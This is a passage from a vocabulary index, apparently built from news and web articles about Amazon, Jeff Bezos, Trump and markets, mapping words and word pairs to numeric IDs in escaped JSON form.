tdy1rrxyabos6nze\": 204898,\n  \"profited\": 204899,\n  \"constantine available\": 204900,\n  \"thedc\": 204901,\n  \"available sounds\": 204902,\n  \"freezes ice\": 204903,\n  \"getting huge\": 204904,\n  \"deal collapse\": 204905,\n  \"need federal\": 204906,\n  \"benefitted greatly\": 204907,\n  \"lovely voice\": 204908,\n  \"practiced include\": 204909,\n  \"transfer restricted\": 204910,\n  \"bigger market\": 204911,\n  \"world violence\": 204912,\n  \"uncertain\": 204913,\n  \"informed comment\": 204914,\n  \"juniper\": 204915,\n  \"kroger stock\": 204916,\n  \"information president\": 204917,\n  \"reached deal\": 204918,\n  \"erased\": 204919,\n  \"historically avoided\": 204920,\n  \"process schedules\": 204921,\n  \"reprinted\": 204922,\n  \"concussion\": 204923,\n  \"tend\": 204924,\n  \"bring discipline\": 204925,\n  \"sale items\": 204926,\n  \"removed quickly\": 204927,\n  \"parties long\": 204928,\n  \"risk partial\": 204929,\n  \"binge alley\": 204930,\n  \"gumball poodle\": 204931,\n  \"2416\": 204932,\n  \"book burnings\": 204933,\n  \"andr\\u00e9s oppenheimer\": 204934,\n  \"grabbers human\": 204935,\n  \"dodd investment\": 204936,\n  \"5etweetembed 7ctwterm\": 204937,\n  \"elections facing\": 204938,\n  \"reimburse startup\": 204939,\n  \"possible think\": 204940,\n  \"500 lows\": 204941,\n  \"migrates legacy\": 204942,\n  \"wholesaler\": 204943,\n  \"cut instead\": 204944,\n  \"certain tables\": 204945,\n  \"scream\": 204946,\n  \"create enhance\": 204947,\n  \"big nyc\": 204948,\n  \"creating clothing\": 204949,\n  \"carrell dressed\": 204950,\n  \"officially announces\": 204951,\n  \"gawande referred\": 204952,\n  \"carelessness\": 204953,\n  \"grails amazon\": 204954,\n  \"reagan administration\": 204955,\n  \"legendary toronto\": 204956,\n  \"micron yesterday\": 204957,\n  \"pushing large\": 204958,\n  \"excluding gasoline\": 204959,\n  \"ccn\": 204960,\n  \"ringer\": 204961,\n  \"keefe panel\": 204962,\n  \"filed financial\": 204963,\n  \"tax wise\": 204964,\n  \"backwards trying\": 204965,\n  \"immediately plummeted\": 204966,\n  \"saving\": 204967,\n  \"grown shipping\": 204968,\n  \"card autostartvideo\": 204969,\n  \"sending questionnaires\": 204970,\n  \"leading provider\": 204971,\n  \"expect ebitda\": 204972,\n  \"standard legal\": 204973,\n  \"headlineplaintext snl\": 204974,\n  \"payrolls liesman\": 204975,\n  \"bookstores pop\": 204976,\n  \"repeatedly telling\": 204977,\n  \"rights matthews\": 204978,\n  \"dc milestone\": 204979,\n  \"damage competition\": 204980,\n  \"falsely tweeted\": 204981,\n  \"allegedly offering\": 204982,\n  \"create fee\": 204983,\n  \"unprecedented challenges\": 204984,\n  \"clearly wants\": 204985,\n  \"collecting collateralized\": 204986,\n  \"wreak\": 204987,\n  \"ernesto ara\\u00fajo\": 204988,\n  \"popstar\": 204989,\n  \"unfortunate people\": 204990,\n  \"wamc\": 204991,\n  \"bet experience\": 204992,\n  \"weinstein walking\": 204993,\n  \"survivor survivor\": 204994,\n  \"states tries\": 204995,\n  \"wehave\": 204996,\n  \"want police\": 204997,\n  \"despite\": 204998,\n  \"russia war\": 204999,\n  \"interesting thing\": 205000,\n  \"caused gruesome\": 205001,\n  \"lobby groups\": 205002,\n  \"newstageng\": 205003,\n  \"bezos new\": 205004,\n  \"easing court\": 205005,\n  \"bremberg\": 205006,\n  \"activist protesters\": 205007,\n  \"currently lets\": 205008,\n  \"unfettered information\": 205009,\n  \"israel sparked\": 205010,\n  \"items trade\": 205011,\n  \"cycle coming\": 205012,\n  \"immediately able\": 205013,\n  \"corrupt abuse\": 205014,\n  \"lira aims\": 205015,\n  \"senator orrin\": 205016,\n  \"austere environments\": 205017,\n  \"live later\": 205018,\n  \"held nonprofit\": 205019,\n  \"federal anti\": 205020,\n  \"videotape courtney\": 205021,\n  \"splits\": 205022,\n  \"placing\": 205023,\n  \"passenger jet\": 205024,\n  \"offer range\": 205025,\n  \"campaign hastings\": 205026,\n  \"included lurid\": 205027,\n  \"white senior\": 205028,\n  \"lego set\": 205029,\n  \"digital versions\": 205030,\n  \"cardsectionname contenttype\": 205031,\n  \"origin youth\": 205032,\n  \"centerfold karen\": 205033,\n  \"hq2 debacle\": 205034,\n  \"company advertising\": 205035,\n  \"asked megan\": 205036,\n  \"53bn market\": 205037,\n  \"rejected proposal\": 205038,\n  \"courtney reagan\": 205039,\n  \"rosendale sen\": 205040,\n  \"conservatives tariffs\": 205041,\n  \"erase transgender\": 205042,\n  \"postponed reuters\": 205043,\n  \"election america\": 205044,\n  \"monopolies based\": 205045,\n  \"investors worried\": 205046,\n  \"index futures\": 205047,\n  \"te amazon\": 205048,\n  \"arrogance\": 205049,\n  \"outrages increase\": 205050,\n  \"sold sponsorship\": 205051,\n  \"facing deportation\": 205052,\n  \"caption santa\": 205053,\n  \"hendricksen check\": 205054,\n  \"matrimonial lawyers\": 205055,\n  \"settlement simply\": 205056,\n  \"company entered\": 205057,\n  \"worldwide post\": 205058,\n  \"slot\": 205059,\n  \"glitchy\": 205060,\n  \"war rich\": 205061,\n  \"privatisation washington\": 205062,\n  \"yesterday amid\": 205063,\n  \"church putting\": 205064,\n  \"geostrategy\": 205065,\n  \"amazon eats\": 205066,\n  \"management holds\": 205067,\n  \"year service\": 205068,\n  \"albany new\": 205069,\n  \"fromtheir jobs\": 205070,\n  \"790 words\": 205071,\n  \"lands grasslands\": 205072,\n  \"failing nytimes\": 205073,\n  \"subscribed\": 205074,\n  \"tv recast\": 205075,\n  \"pariente fred\": 205076,\n  \"hasn decided\": 205077,\n  \"broad grin\": 205078,\n  \"pulsing\": 205079,\n  \"betras lawyer\": 205080,\n  \"gusty\": 205081,\n  \"bezos long\": 205082,\n  \"sarah mcbride\": 205083,\n  \"lift\": 205084,\n  \"favoring left\": 205085,\n  \"ron jeffries\": 205086,\n  \"quite mad\": 205087,\n  \"amazon bribing\": 205088,\n  \"pieters\": 205089,\n  \"silence karen\": 205090,\n  \"destroying\": 205091,\n  \"city share\": 205092,\n  \"dark past\": 205093,\n  \"trump getty\": 205094,\n  \"median household\": 205095,\n  \"bread milk\": 205096,\n  \"kamalohava\": 205097,\n  \"offer national\": 205098,\n  \"masters\": 205099,\n  \"stories driving\": 205100,\n  \"paid public\": 205101,\n  \"kit money\": 205102,\n  \"bootleg version\": 205103,\n  \"previous county\": 205104,\n  \"craft narrative\": 205105,\n  \"super helpful\": 205106,\n  \"david kaplan\": 205107,\n  \"digital video\": 205108,\n  \"interagency\": 205109,\n  \"ama amazon\": 205110,\n  \"icymi\": 205111,\n  \"environment affects\": 205112,\n  \"million contract\": 205113,\n  \"197 million\": 205114,\n  \"fernando takes\": 205115,\n  \"hideously subpar\": 205116,\n  \"sanctuary city\": 205117,\n  \"funded\": 205118,\n  \"service longtime\": 205119,\n  \"comey amid\": 205120,\n  \"advise retailers\": 205121,\n  \"var embedlinkhandler\": 205122,\n  \"grind repeat\": 205123,\n  \"investments including\": 205124,\n  \"funny original\": 205125,\n  \"set examples\": 205126,\n  \"weekly emailed\": 205127,\n  \"opz capital\": 205128,\n  \"cheryl evans\": 205129,\n  \"reporters damian\": 205130,\n  \"mistress billionaire\": 205131,\n  \"pete amazon\": 205132,\n  \"treasuries\": 205133,\n  \"spends resources\": 205134,\n  \"company confirmed\": 205135,\n  \"private action\": 205136,\n  \"marketwatch happy\": 205137,\n  \"luxury\": 205138,\n  \"wall president\": 205139,\n  \"2fpolitics 2fct\": 205140,\n  \"smartphone pick\": 205141,\n  \"kfile status\": 205142,\n  \"trust cb\": 205143,\n  \"administration opposing\": 205144,\n  \"condos jumped\": 205145,\n  \"attacks phishing\": 205146,\n  \"agenda house\": 205147,\n  \"conspiracies ami\": 205148,\n  \"training audrey\": 205149,\n  \"ditch\": 205150,\n  \"police begin\": 205151,\n  \"recognition particularly\": 205152,\n  \"alibaba moser\": 205153,\n  \"amy sherman\": 205154,\n  \"indexes clawed\": 205155,\n  \"source business\": 205156,\n  \"aide unhinged\": 205157,\n  \"awaits final\": 205158,\n  \"label\": 205159,\n  \"new hq\": 205160,\n  \"hunger games\": 205161,\n  \"welp love\": 205162,\n  \"face unfair\": 205163,\n  \"taco restaurant\": 205164,\n  \"trial threats\": 205165,\n  \"gqcknk\": 205166,\n  \"heavily dependent\": 205167,\n  \"publication roads\": 205168,\n  \"company missed\": 205169,\n  \"bank statements\": 205170,\n  \"matter shortly\": 205171,\n  \"customers today\": 205172,\n  \"involved says\": 205173,\n  \"final resolution\": 205174,\n  \"longer extension\": 205175,\n  \"anne frank\": 205176,\n  \"benefits alas\": 205177,\n  \"proposed terms\": 205178,\n  \"target suggests\": 205179,\n  \"takeover closed\": 205180,\n  \"police\": 205181,\n  \"olaf returns\": 205182,\n  \"seconds louisiana\": 205183,\n  \"new crop\": 205184,\n  \"business standpoint\": 205185,\n  \"journal hanna\": 205186,\n  \"bezos plan\": 205187,\n  \"music kindle\": 205188,\n  \"long presidential\": 205189,\n  \"robert clapper\": 205190,\n  \"present attempts\": 205191,\n  \"commander don\": 205192,\n  \"retailers trump\": 205193,\n  \"eyeball wired\": 205194,\n  \"pointedly\": 205195,\n  \"confirmation senate\": 205196,\n  \"ushering\": 205197,\n  \"ami attempted\": 205198,\n  \"wants tech\": 205199,\n  \"jury report\": 205200,\n  \"encounter\": 205201,\n  \"technology shares\": 205202,\n  \"trust ted\": 205203,\n  \"nyse eqr\": 205204,\n  \"sanders pressure\": 205205,\n  \"paper ballots\": 205206,\n  \"overriding\": 205207,\n  \"black southern\": 205208,\n  \"thriving forests\": 205209,\n  \"debt relief\": 205210,\n  \"newspapers ask\": 205211,\n  \"2019 colbert\": 205212,\n  \"announce location\": 205213,\n  \"novellas\": 205214,\n  \"usps walmart\": 205215,\n  \"767\": 205216,\n  \"district\": 205217,\n  \"abuse amazon\": 205218,\n  \"looks profitable\": 205219,\n  \"beauty smarmed\": 205220,\n  \"edwards simpson\": 205221,\n  \"geo referencing\": 205222,\n  \"overshadows hanoi\": 205223,\n  \"congressional correspondent\": 205224,\n  \"campaign rallies\": 205225,\n  \"house kit\": 205226,\n  \"sharlene\": 205227,\n  \"telling crowd\": 205228,\n  \"favorite companies\": 205229,\n  \"worker exploitation\": 205230,\n  \"image src\": 205231,\n  \"ubiquitous\": 205232,\n  \"notified bezos\": 205233,\n  \"org article\": 205234,\n  \"lead party\": 205235,\n  \"2018 iconic\": 205236,\n  \"hostile comments\": 205237,\n  \"turtle\": 205238,\n  \"bureau estimated\": 205239,\n  \"ravenswood\": 205240,\n  \"mainland china\": 205241,\n  \"withsomething\": 205242,\n  \"cronyism perspective\": 205243,\n  \"senators join\": 205244,\n  \"college business\": 205245,\n  \"amazing allies\": 205246,\n  \"million computer\": 205247,\n  \"chairman goodlatte\": 205248,\n  \"counterfeit president\": 205249,\n  \"website following\": 205250,\n  \"copies wolff\": 205251,\n  \"corporate managers\": 205252,\n  \"proposals\": 205253,\n  \"state locale\": 205254,\n  \"colleagues showed\": 205255,\n  \"government custody\": 205256,\n  \"121 g8\": 205257,\n  \"avenatti fraud\": 205258,\n  \"woman crunch\": 205259,\n  \"decent health\": 205260,\n  \"written books\": 205261,\n  \"alfonso cuar\\u00f3n\": 205262,\n  \"deal breaker\": 205263,\n  \"2018 readers\": 205264,\n  \"mayhem\": 205265,\n  \"conditioned\": 205266,\n  \"lie judging\": 205267,\n  \"drug supply\": 205268,\n  \"shows music\": 205269,\n  \"america richest\": 205270,\n  \"k8\": 205271,\n  \"housing crash\": 205272,\n  \"260\": 205273,\n  \"stewart noted\": 205274,\n  \"delano\": 205275,\n  \"person dependents\": 205276,\n  \"bezos investigation\": 205277,\n  \"carriers colin\": 205278,\n  \"alem\\u00e1n\": 205279,\n  \"traditional studios\": 205280,\n  \"friction\": 205281,\n  \"maybe phoenix\": 205282,\n  \"height 438\": 205283,\n  \"unseemly\": 205284,\n  \"underwrite\": 205285,\n  \"plan president\": 205286,\n  \"michael scott\": 205287,\n  \"considered essential\": 205288,\n  \"week countries\": 205289,\n  \"acn mycio\": 205290,\n  \"robbie cape\": 205291,\n  \"conway lawyer\": 205292,\n  \"1007 super\": 205293,\n  \"slide alaska\": 205294,\n  \"colonial\": 205295,\n  \"hudson news\": 205296,\n  \"f4e insertbefore\": 205297,\n  \"case people\": 205298,\n  \"panera bread\": 205299,\n  \"reports virginia\": 205300,\n  \"trump bigstock\": 205301,\n  \"crony hookup\": 205302,\n  \"conflicting opinions\": 205303,\n  \"feed amazon\": 205304,\n  \"recorded family\": 205305,\n  \"giant aramco\": 205306,\n  \"minimum pay\": 205307,\n  \"change corporate\": 205308,\n  \"beloved siri\": 205309,\n  \"tremendous success\": 205310,\n  \"album little\": 205311,\n  \"drop orders\": 205312,\n  \"statement safe\": 205313,\n  \"applications brent\": 205314,\n  \"model investors\": 205315,\n  \"brennan adding\": 205316,\n  \"bezos colossal\": 205317,\n  \"told page\": 205318,\n  \"big doesn\": 205319,\n  \"nniedzwiadek\": 205320,\n  \"shepard\": 205321,\n  \"lobbying organization\": 205322,\n  \"far ranging\": 205323,\n  \"prevailing fare\": 205324,\n  \"time expressing\": 205325,\n  \"american tradition\": 205326,\n  \"philo\": 205327,\n  \"arguments\": 205328,\n  \"sold directly\": 205329,\n  \"presents recent\": 205330,\n  \"napolitano concluded\": 205331,\n  \"thing dems\": 205332,\n  \"apos\": 205333,\n  \"accenture completes\": 205334,\n  \"flatter trump\": 205335,\n  \"immigrants house\": 205336,\n  \"wilson copies\": 205337,\n  \"promised tax\": 205338,\n  \"boost amazon\": 205339,\n  \"marlon bundo\": 205340,\n  \"consumers shop\": 205341,\n  \"father jeff\": 205342,\n  \"far ami\": 205343,\n  \"sebold\": 205344,\n  \"app identifies\": 205345,\n  \"268 900\": 205346,\n  \"post followed\": 205347,\n  \"adepo\": 205348,\n  \"presidential meetings\": 205349,\n  \"bomb\": 205350,\n  \"close courtesy\": 205351,\n  \"shippers rose\": 205352,\n  \"rates directly\": 205353,\n  \"cpr aed\": 205354,\n  \"jails ulrich\": 205355,\n  \"zuckerberg chiding\": 205356,\n  \"big blog\": 205357,\n  \"400 million\": 205358,\n  \"transatlantic flying\": 205359,\n  \"caravan moving\": 205360,\n  \"young oboist\": 205361,\n  \"education ivanka\": 205362,\n  \"agile advocates\": 205363,\n  \"glennkesslerwp\": 205364,\n  \"race taking\": 205365,\n  \"michael gove\": 205366,\n  \"unspeakably\": 205367,\n  \"exceptionally critical\": 205368,\n  \"chris continued\": 205369,\n  \"planned crystal\": 205370,\n  \"800 million\": 205371,\n  \"trump migrant\": 205372,\n  \"couple wasn\": 205373,\n  \"consumer buy\": 205374,\n  \"guaranteed recommendation\": 205375,\n  \"users encouraging\": 205376,\n  \"showed total\": 205377,\n  \"varicella\": 205378,\n  \"africa pennsylvania\": 205379,\n  \"revenues 100\": 205380,\n  \"lisa leonard\": 205381,\n  \"withheld records\": 205382,\n  \"investigation michael\": 205383,\n  \"devices consumers\": 205384,\n  \"game winning\": 205385,\n  \"analytics senior\": 205386,\n  \"disunity\": 205387,\n  \"amazon justified\": 205388,\n  \"privacy concern\": 205389,\n  \"fishing expedition\": 205390,\n  \"provide essential\": 205391,\n  \"g9jceruc0v wonder\": 205392,\n  \"politico reports\": 205393,\n  \"warranted break\": 205394,\n  \"million yen\": 205395,\n  \"rough sawn\": 205396,\n  \"compliant\": 205397,\n  \"house legal\": 205398,\n  \"bio med\": 205399,\n  \"content abusing\": 205400,\n  \"crisis innovators\": 205401,\n  \"neutral\": 205402,\n  \"483f\": 205403,\n  \"expiration\": 205404,\n  \"claim farrow\": 205405,\n  \"savings plan\": 205406,\n  \"bezos earlier\": 205407,\n  \"bowkers\": 205408,\n  \"girl rep\": 205409,\n  \"hudson bay\": 205410,\n  \"palladino\": 205411,\n  \"pushed washington\": 205412,\n  \"tapes maxine\": 205413,\n  \"house districts\": 205414,\n  \"years hollywood\": 205415,\n  \"furloughed employees\": 205416,\n  \"amarillo news\": 205417,\n  \"includes sorting\": 205418,\n  \"relaxing\": 205419,\n  \"cole\": 205420,\n  \"diaz sr\": 205421,\n  \"space kicked\": 205422,\n  \"rosenstein debated\": 205423,\n  \"scanners located\": 205424,\n  \"continued assault\": 205425,\n  \"gmt contract\": 205426,\n  \"davos\": 205427,\n  \"prizes better\": 205428,\n  \"attacked cruz\": 205429,\n  \"divorce euro\": 205430,\n  \"prices unrelenting\": 205431,\n  \"addressed issues\": 205432,\n  \"chip company\": 205433,\n  \"reagan antitrust\": 205434,\n  \"suggested secretly\": 205435,\n  \"obsessive crush\": 205436,\n  \"isn prepared\": 205437,\n  \"items require\": 205438,\n  \"giant billions\": 205439,\n  \"lee harvey\": 205440,\n  \"stay neutral\": 205441,\n  \"concept offers\": 205442,\n  \"complements\": 205443,\n  \"fake account\": 205444,\n  \"activities making\": 205445,\n  \"long advocated\": 205446,\n  \"shirt bumper\": 205447,\n  \"sizable reduction\": 205448,\n  \"designated someday\": 205449,\n  \"state hud\": 205450,\n  \"treasure\": 205451,\n  \"reg previously\": 205452,\n  \"broader trade\": 205453,\n  \"wisconsin management\": 205454,\n  \"week abandoned\": 205455,\n  \"bring product\": 205456,\n  \"total revenues\": 205457,\n  \"allegations trailing\": 205458,\n  \"adam fein\": 205459,\n  \"way instead\": 205460,\n  \"seconds houston\": 205461,\n  \"maturity provocateurs\": 205462,\n  \"mnuchin steven\": 205463,\n  \"conceal\": 205464,\n  \"post staff\": 205465,\n  \"company innocence\": 205466,\n  \"mpa\": 205467,\n  \"candidate claiming\": 205468,\n  \"hand experience\": 205469,\n  \"told hr\": 205470,\n  \"capital management\": 205471,\n  \"affordable reuters\": 205472,\n  \"unique knowledge\": 205473,\n  \"ahead herera\": 205474,\n  \"nonpartisan agency\": 205475,\n  \"wager\": 205476,\n  \"outnumbered\": 205477,\n  \"arrive\": 205478,\n  \"story anne\": 205479,\n  \"environment image\": 205480,\n  \"quality journalism\": 205481,\n  \"henry erin\": 205482,\n  \"pay pensions\": 205483,\n  \"stagflation\": 205484,\n  \"restless\": 205485,\n  \"bans documentaries\": 205486,\n  \"probe questioning\": 205487,\n  \"controversial comment\": 205488,\n  \"emanating\": 205489,\n  \"praises trump\": 205490,\n  \"circuit recently\": 205491,\n  \"greg leroy\": 205492,\n  \"000 working\": 205493,\n  \"fed rescued\": 205494,\n  \"twitter sanders\": 205495,\n  \"oppression carol\": 205496,\n  \"kreps\": 205497,\n  \"consider excluding\": 205498,\n  \"heavier\": 205499,\n  \"stweets\": 205500,\n  \"report transcript\": 205501,\n  \"biggest supplier\": 205502,\n  \"nra\": 205503,\n  \"coming global\": 205504,\n  \"criminal sources\": 205505,\n  \"summer opens\": 205506,\n  \"court justices\": 205507,\n  \"outlawed new\": 205508,\n  \"ideological ruralism\": 205509,\n  \"noticed trump\": 205510,\n  \"accountants\": 205511,\n  \"exiled james\": 205512,\n  \"stock hawley\": 205513,\n  \"s\\u00e1nchez brother\": 205514,\n  \"erased wewontbeerased\": 205515,\n  \"profiles pioneer\": 205516,\n  \"running high\": 205517,\n  \"hunt detain\": 205518,\n  \"torsten\": 205519,\n  \"endorsing bipartisan\": 205520,\n  \"season prime\": 205521,\n  \"form content\": 205522,\n  \"baggage\": 205523,\n  \"amazon supposed\": 205524,\n  \"faced\": 205525,\n  \"quiere\": 205526,\n  \"films words\": 205527,\n  \"conventional wisdom\": 205528,\n  \"dwdp microsoft\": 205529,\n  \"comment ami\": 205530,\n  \"montgomery\": 205531,\n  \"premarket trade\": 205532,\n  \"chief anchor\": 205533,\n  \"period setting\": 205534,\n  \"economic progress\": 205535,\n  \"lucia evans\": 205536,\n  \"crony cash\": 205537,\n  \"howard declined\": 205538,\n  \"behemoth amazon\": 205539,\n  \"turmoil\": 205540,\n  \"night montana\": 205541,\n  \"sweeping change\": 205542,\n  \"documentary hogg\": 205543,\n  \"deckers outdoor\": 205544,\n  \"raging bull\": 205545,\n  \"obstructing\": 205546,\n  \"administration critics\": 205547,\n  \"ascui\": 205548,\n  \"magazine states\": 205549,\n  \"fake wine\": 205550,\n  \"dprk today\": 205551,\n  \"tinkering toddler\": 205552,\n  \"offering cfo\": 205553,\n  \"externalities\": 205554,\n  \"commerce wasn\": 205555,\n  \"abuse claim\": 205556,\n  \"idled\": 205557,\n  \"foreground\": 205558,\n  \"higher loyalty\": 205559,\n  \"wider net\": 205560,\n  \"versailles\": 205561,\n  \"island beach\": 205562,\n  \"respond compared\": 205563,\n  \"knife sharpener\": 205564,\n  \"strong finish\": 205565,\n  \"flagship retail\": 205566,\n  \"market timing\": 205567,\n  \"children anna\": 205568,\n  \"increase shipping\": 205569,\n  \"climate exchange\": 205570,\n  \"1890 congress\": 205571,\n  \"multiple critical\": 205572,\n  \"incentivised\": 205573,\n  \"earnings obviously\": 205574,\n  \"216 shares\": 205575,\n  \"falls ill\": 205576,\n  \"serv accumulated\": 205577,\n  \"particularly loyal\": 205578,\n  \"axios citing\": 205579,\n  \"affleck\": 205580,\n  \"site premiere\": 205581,\n  \"doesn anticipate\": 205582,\n  \"encrypt\": 205583,\n  \"retail operation\": 205584,\n  \"facebook shares\": 205585,\n  \"fournier\": 205586,\n  \"bought 552\": 205587,\n  \"referendums\": 205588,\n  \"hands read\": 205589,\n  \"spoiled rich\": 205590,\n  \"house personnel\": 205591,\n  \"preacher photo\": 205592,\n  \"tokyo\": 205593,\n  \"global scope\": 205594,\n  \"warehous data\": 205595,\n  \"cbs image\": 205596,\n  \"lightness\": 205597,\n  \"approached\": 205598,\n  \"protests objecting\": 205599,\n  \"petrillo\": 205600,\n  \"material albeit\": 205601,\n  \"brighten\": 205602,\n  \"office loses\": 205603,\n  \"market rests\": 205604,\n  \"tech bipartisan\": 205605,\n  \"jpg 50x50\": 205606,\n  \"sims\": 205607,\n  \"cliff martinez\": 205608,\n  \"trumpworld right\": 205609,\n  \"code trump\": 205610,\n  \"lic home\": 205611,\n  \"hitherto\": 205612,\n  \"getting crossover\": 205613,\n  \"revolve\": 205614,\n  \"behemoth inevitably\": 205615,\n  \"antagonist\": 205616,\n  \"cost bloomberg\": 205617,\n  \"offered glimmer\": 205618,\n  \"enterprise hpe\": 205619,\n  \"current management\": 205620,\n  \"isn monopoly\": 205621,\n  \"mailbag portfolio\": 205622,\n  \"rare step\": 205623,\n  \"increase worker\": 205624,\n  \"belief amazon\": 205625,\n  \"borrower jolley\": 205626,\n  \"partnership mi\": 205627,\n  \"undertakes\": 205628,\n  \"years headed\": 205629,\n  \"richfield renters\": 205630,\n  \"engine\": 205631,\n  \"packages wtf\": 205632,\n  \"landing\": 205633,\n  \"legal officer\": 205634,\n  \"headquarters going\": 205635,\n  \"total ballots\": 205636,\n  \"seeing authors\": 205637,\n  \"maggie hassan\": 205638,\n  \"surrounding suburbs\": 205639,\n  \"active cnn\": 205640,\n  \"seasoned professionals\": 205641,\n  \"ish\": 205642,\n  \"android vestager\": 205643,\n  \"franz\": 205644,\n  \"remember turn\": 205645,\n  \"significant relationship\": 205646,\n  \"story leaving\": 205647,\n  \"attack jeff\": 205648,\n  \"target lowe\": 205649,\n  \"early 2000s\": 205650,\n  \"ex playmate\": 205651,\n  \"ship amazon\": 205652,\n  \"governments jeff\": 205653,\n  \"using freedom\": 205654,\n  \"467\": 205655,\n  \"views hold\": 205656,\n  \"dicks\": 205657,\n  \"jeff immelt\": 205658,\n  \"offer better\": 205659,\n  \"near 100\": 205660,\n  \"strong session\": 205661,\n  \"shuffle\": 205662,\n  \"pleasingly\": 205663,\n  \"politics laid\": 205664,\n  \"act oct\": 205665,\n  \"margaret wardrobe\": 205666,\n  \"unveiles\": 205667,\n  \"defendant arguing\": 205668,\n  \"force higher\": 205669,\n  \"browns appears\": 205670,\n  \"investors apparently\": 205671,\n  \"trump extortion\": 205672,\n  \"family businesses\": 205673,\n  \"hour violations\": 205674,\n  \"reportedly received\": 205675,\n  \"openly stated\": 205676,\n  \"day solely\": 205677,\n  \"j8i x8\": 205678,\n  \"david viniar\": 205679,\n  \"hall helmer\": 205680,\n  \"switch sales\": 205681,\n  \"pg saw\": 205682,\n  \"fy19 profitability\": 205683,\n  \"plaintiffs claim\": 205684,\n  \"audience network\": 205685,\n  \"government lending\": 205686,\n  \"women making\": 205687,\n  \"brochure says\": 205688,\n  \"unprecedented campaign\": 205689,\n  \"trump connected\": 205690,\n  \"queens trump\": 205691,\n  \"sales market\": 205692,\n  \"lucky dog\": 205693,\n  \"captivating story\": 205694,\n  \"social workers\": 205695,\n  \"people missing\": 205696,\n  \"refugee\": 205697,\n  \"amazon wouldn\": 205698,\n  \"book editions\": 205699,\n  \"hollywood figure\": 205700,\n  \"power functions\": 205701,\n  \"fixing social\": 205702,\n  \"trump regards\": 205703,\n  \"trump ads\": 205704,\n  \"selling narrow\": 205705,\n  \"role new\": 205706,\n  \"charged russia\": 205707,\n  \"county official\": 205708,\n  \"barriers\": 205709,\n  \"academic year\": 205710,\n  \"ago literary\": 205711,\n  \"administration immigration\": 205712,\n  \"explain ing\": 205713,\n  \"buying fedex\": 205714,\n  \"financial tech\": 205715,\n  \"new sculptures\": 205716,\n  \"issuethe heart\": 205717,\n  \"baby orca\": 205718,\n  \"eligible county\": 205719,\n  \"trump mate\": 205720,\n  \"public petrochina\": 205721,\n  \"social issues\": 205722,\n  \"story philly\": 205723,\n  \"people today\": 205724,\n  \"sq ft\": 205725,\n  \"trump affairs\": 205726,\n  \"karl spoke\": 205727,\n  \"young directors\": 205728,\n  \"house broader\": 205729,\n  \"coast markets\": 205730,\n  \"lasting effects\": 205731,\n  \"trump actively\": 205732,\n  \"division ruled\": 205733,\n  \"government jeff\": 205734,\n  \"current delivery\": 205735,\n  \"immigrants rapists\": 205736,\n  \"began small\": 205737,\n  \"expat\": 205738,\n  \"senator introduced\": 205739,\n  \"consideration straightforward\": 205740,\n  \"reportedly wants\": 205741,\n  \"possibly altering\": 205742,\n  \"black sails\": 205743,\n  \"news jeanine\": 205744,\n  \"substantially involved\": 205745,\n  \"make\": 205746,\n  \"trump scathing\": 205747,\n  \"week describing\": 205748,\n  \"sanders proposal\": 205749,\n  \"eq showindex\": 205750,\n  \"heat cooking\": 205751,\n  \"companies dismayed\": 205752,\n  \"coalition galvanized\": 205753,\n  \"include persuading\": 205754,\n  \"trump failed\": 205755,\n  \"business begin\": 205756,\n  \"allowing states\": 205757,\n  \"direct source\": 205758,\n  \"glyphosate\": 205759,\n  \"busy tonight\": 205760,\n  \"uks strange\": 205761,\n  \"don bring\": 205762,\n  \"attending morning\": 205763,\n  \"pathname\": 205764,\n  \"instead respect\": 205765,\n  \"smarter chattier\": 205766,\n  \"shoppers spend\": 205767,\n  \"flash cards\": 205768,\n  \"story recode\": 205769,\n  \"state income\": 205770,\n  \"amazon dogtooth\": 205771,\n  \"partner chain\": 205772,\n  \"picayune fisher\": 205773,\n  \"felt differently\": 205774,\n  \"lawrence culp\": 205775,\n  \"rockers\": 205776,\n  \"politifact noted\": 205777,\n  \"plan say\": 205778,\n  \"foreign investors\": 205779,\n  \"mail tab\": 205780,\n  \"president actions\": 205781,\n  \"family company\": 205782,\n  \"somalia\": 205783,\n  \"effective tax\": 205784,\n  \"overdue historic\": 205785,\n  \"outpatient\": 205786,\n  \"potential threat\": 205787,\n  \"neglected tabloids\": 205788,\n  \"children ydanis\": 205789,\n  \"including probing\": 205790,\n  \"crank motion\": 205791,\n  \"announced dec\": 205792,\n  \"prescribing\": 205793,\n  \"exploring holding\": 205794,\n  \"think eliana\": 205795,\n  \"pharmaceutical inds\": 205796,\n  \"huge multiples\": 205797,\n  \"misrepresented\": 205798,\n  \"war doesn\": 205799,\n  \"swamped\": 205800,\n  \"fund says\": 205801,\n  \"henrique\": 205802,\n  \"pornograhic\": 205803,\n  \"planning clinics\": 205804,\n  \"homosexuality\": 205805,\n  \"wireless\": 205806,\n  \"ahold\": 205807,\n  \"baldness\": 205808,\n  \"000 dumped\": 205809,\n  \"midday\": 205810,\n  \"later executive\": 205811,\n  \"budgets previously\": 205812,\n  \"policies feb\": 205813,\n  \"memory chips\": 205814,\n  \"configobj markupid\": 205815,\n  \"livestream coverage\": 205816,\n  \"colbert explained\": 205817,\n  \"group huawei\": 205818,\n  \"year provided\": 205819,\n  \"imf stepped\": 205820,\n  \"executive secretary\": 205821,\n  \"cnn autoplayvideoexist\": 205822,\n  \"turkeys\": 205823,\n  \"jelbfr2gxx toddbishop\": 205824,\n  \"metal spike\": 205825,\n  \"sale brent\": 205826,\n  \"service raise\": 205827,\n  \"changing composition\": 205828,\n  \"madison centre\": 205829,\n  \"attention president\": 205830,\n  \"unpresidented\": 205831,\n  \"lambasted nbc\": 205832,\n  \"post tough\": 205833,\n  \"association dinner\": 205834,\n  \"commercial llc\": 205835,\n  \"achievement\": 205836,\n  \"crowder doing\": 205837,\n  \"increase homelessness\": 205838,\n  \"neighbor beings\": 205839,\n  \"ways just\": 205840,\n  \"headquarters sporting\": 205841,\n  \"supporting brother\": 205842,\n  \"takes away\": 205843,\n  \"neoliberal policies\": 205844,\n  \"sarcastic reference\": 205845,\n  \"desperately attempting\": 205846,\n  \"challenge looks\": 205847,\n  \"ecolab sells\": 205848,\n  \"laughing schumer\": 205849,\n  \"production fell\": 205850,\n  \"driver olaoluwa\": 205851,\n  \"including lower\": 205852,\n  \"strong lebeau\": 205853,\n  \"locations think\": 205854,\n  \"attracts new\": 205855,\n  \"workers following\": 205856,\n  \"lifetime penn\": 205857,\n  \"presidentcould\": 205858,\n  \"repeat\": 205859,\n  \"stevens recently\": 205860,\n  \"saying weve\": 205861,\n  \"allow jedi\": 205862,\n  \"new car\": 205863,\n  \"documentary nbc\": 205864,\n  \"new feature\": 205865,\n  